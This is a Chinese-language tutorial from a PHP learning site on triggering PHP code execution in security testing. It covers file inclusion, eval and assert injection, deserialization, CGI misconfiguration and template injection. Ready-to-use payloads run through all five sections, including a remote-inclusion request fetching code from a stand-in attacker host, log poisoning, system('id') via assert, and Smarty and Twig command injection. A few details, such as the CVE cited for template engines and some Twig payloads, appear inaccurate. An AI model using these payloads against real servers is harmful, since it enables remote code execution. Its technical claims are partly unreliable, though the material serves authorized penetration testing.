0

0

安全检测怎样触发php代码执行_安全检测触发php代码执行方法【步骤】

蓮花仙者

蓮花仙者

发布时间:2025-12-24 22:34:02

|

382人浏览过

|

来源于php中文网

原创

验证PHP代码是否可被意外执行需检测五类漏洞:一、文件包含漏洞(LFI/RFI);二、eval等动态执行函数;三、反序列化POP链;四、PHP内置服务器或CGI配置缺陷;五、模板引擎沙箱逃逸。所有测试须在授权环境中进行。

安全检测怎样触发php代码执行_安全检测触发php代码执行方法【步骤】

如果在进行安全检测过程中需要验证PHP代码是否可被意外执行,可能涉及对Web应用中潜在代码注入点的探测。以下是触发PHP代码执行的常见方法:

一、利用文件包含漏洞触发PHP代码执行

当应用程序使用用户可控参数动态包含文件且未严格校验路径时,攻击者可通过构造恶意输入使服务器加载并执行PHP代码。

1、向存在include()或require()调用的参数传入恶意路径,例如:?file=php://filter/convert.base64-encode/resource=index.php

2、若支持远程文件包含(RFI),尝试提交类似?file=http://attacker.com/shell.txt的请求,确保目标启用了allow_url_include=On

立即学习PHP免费学习笔记(深入)”;

3、若存在本地文件包含(LFI)且可访问日志文件,将PHP代码写入访问日志后,通过?file=/var/log/apache2/access.log触发解析执行

注意:该操作仅限授权测试环境,未经许可对生产系统实施将违反《网络安全法》

二、利用eval()等动态执行函数触发PHP代码执行

当用户输入被直接拼接进eval()、assert()、create_function()或preg_replace()的/e修饰符中时,可导致任意PHP代码被执行。

1、识别表单或URL参数是否参与动态代码构造,例如搜索框提交payload:${@print(md5(123))}

2、向使用preg_replace('/.*/e', $_GET['p'], '')的接口发送请求:?p=phpinfo()

3、对含assert($_GET['c'])的脚本发起请求:?c=system('id')

关键提示:PHP 7.2+已移除/e修饰符,assert()默认不再执行字符串代码

三、利用反序列化漏洞触发PHP代码执行

当unserialize()处理用户可控数据且存在可利用的__wakeup()或__destruct()魔术方法时,可能触发链式调用最终执行PHP代码。

1、获取目标应用使用的类定义,定位含危险操作的魔术方法或属性

Lovart
Lovart

全球首个AI设计智能体

下载

2、构造序列化字符串,将可控命令注入到可触发exec()、system()等函数的属性中

3、将生成的payload通过POST参数或Cookie传递给存在unserialize()调用的接口

必须确保目标环境中存在POP链且未启用__unserialize()替代机制

四、利用PHP内置Web服务器特性触发代码执行

当PHP以-cgi模式运行且配置不当,或使用php -S启动开发服务器时,特定请求头或路径组合可能导致代码解析异常。

1、向php-cgi二进制直连发送FastCGI协议包,构造QUERY_STRING参数为a=assert&b=phpinfo()

2、在php -S服务器中,尝试访问类似/index.php/.jpg的路径,绕过静态文件处理逻辑

3、利用PATH_INFO截断漏洞,在Nginx + PHP-FPM配置错误环境下发送/index.php/xxx.jpg%00.jpg请求

此方法依赖特定服务配置,常见于未及时更新的旧版Nginx或FPM配置

五、利用模板引擎沙箱逃逸触发PHP代码执行

部分PHP模板引擎(如Twig、Smarty)在低版本或错误配置下允许调用PHP原生函数,从而突破沙箱限制。

1、向Twig模板渲染接口提交{{ `id`|filter('system') }}或{{ ['id']|first|raw }}

2、对Smarty模板尝试{php}system('ls');{/php}或{assign var="a" value="system"}{$a('whoami')}

3、检查模板引擎版本,确认是否存在已知CVE(如CVE-2018-7490)对应的绕过方式

现代模板引擎默认禁用PHP代码执行,需关闭sandbox选项或降级至存在漏洞的版本

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

WorkBuddy
WorkBuddy

腾讯云推出的AI原生桌面智能体工作台

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
nginx 重启
nginx 重启

nginx重启对于网站的运维来说是非常重要的,根据不同的需求,可以选择简单重启、平滑重启或定时重启等方式。本专题为大家提供nginx重启的相关的文章、下载、课程内容,供大家免费下载体验。

248

2023.07.27

nginx 配置详解
nginx 配置详解

Nginx的配置是指设置和调整Nginx服务器的行为和功能的过程。通过配置文件,可以定义虚拟主机、HTTP请求处理、反向代理、缓存和负载均衡等功能。Nginx的配置语法简洁而强大,允许管理员根据自己的需要进行灵活的调整。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

522

2023.08.04

nginx配置详解
nginx配置详解

NGINX与其他服务类似,因为它具有以特定格式编写的基于文本的配置文件。本专题为大家提供nginx配置相关的文章,大家可以免费学习。

610

2023.08.04

tomcat和nginx有哪些区别
tomcat和nginx有哪些区别

tomcat和nginx的区别:1、应用领域;2、性能;3、功能;4、配置;5、安全性;6、扩展性;7、部署复杂性;8、社区支持;9、成本;10、日志管理。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

244

2024.02.23

nginx报404怎么解决
nginx报404怎么解决

当访问 nginx 网页服务器时遇到 404 错误,表明服务器无法找到请求资源,可以通过以下步骤解决:1. 检查文件是否存在且路径正确;2. 检查文件权限并更改为 644 或 755;3. 检查 nginx 配置,确保根目录设置正确、没有冲突配置等等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

713

2024.07.09

Nginx报404错误解决方法
Nginx报404错误解决方法

解决方法:只需要加上这段配置:try_files $uri $uri/ /index.html;即可。想了解更多Nginx的相关内容,可以阅读本专题下面的文章。

3618

2024.08.07

nginx部署php项目教程汇总
nginx部署php项目教程汇总

本专题整合了nginx部署php项目教程汇总,阅读专题下面的文章了解更多详细内容。

55

2026.01.13

nginx配置文件详细教程
nginx配置文件详细教程

本专题整合了nginx配置文件相关教程详细汇总,阅读专题下面的文章了解更多详细内容。

72

2026.01.13

Python异步编程与Asyncio高并发应用实践
Python异步编程与Asyncio高并发应用实践

本专题围绕 Python 异步编程模型展开,深入讲解 Asyncio 框架的核心原理与应用实践。内容包括事件循环机制、协程任务调度、异步 IO 处理以及并发任务管理策略。通过构建高并发网络请求与异步数据处理案例,帮助开发者掌握 Python 在高并发场景中的高效开发方法,并提升系统资源利用率与整体运行性能。

37

2026.03.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 13.4万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.3万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 1.0万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号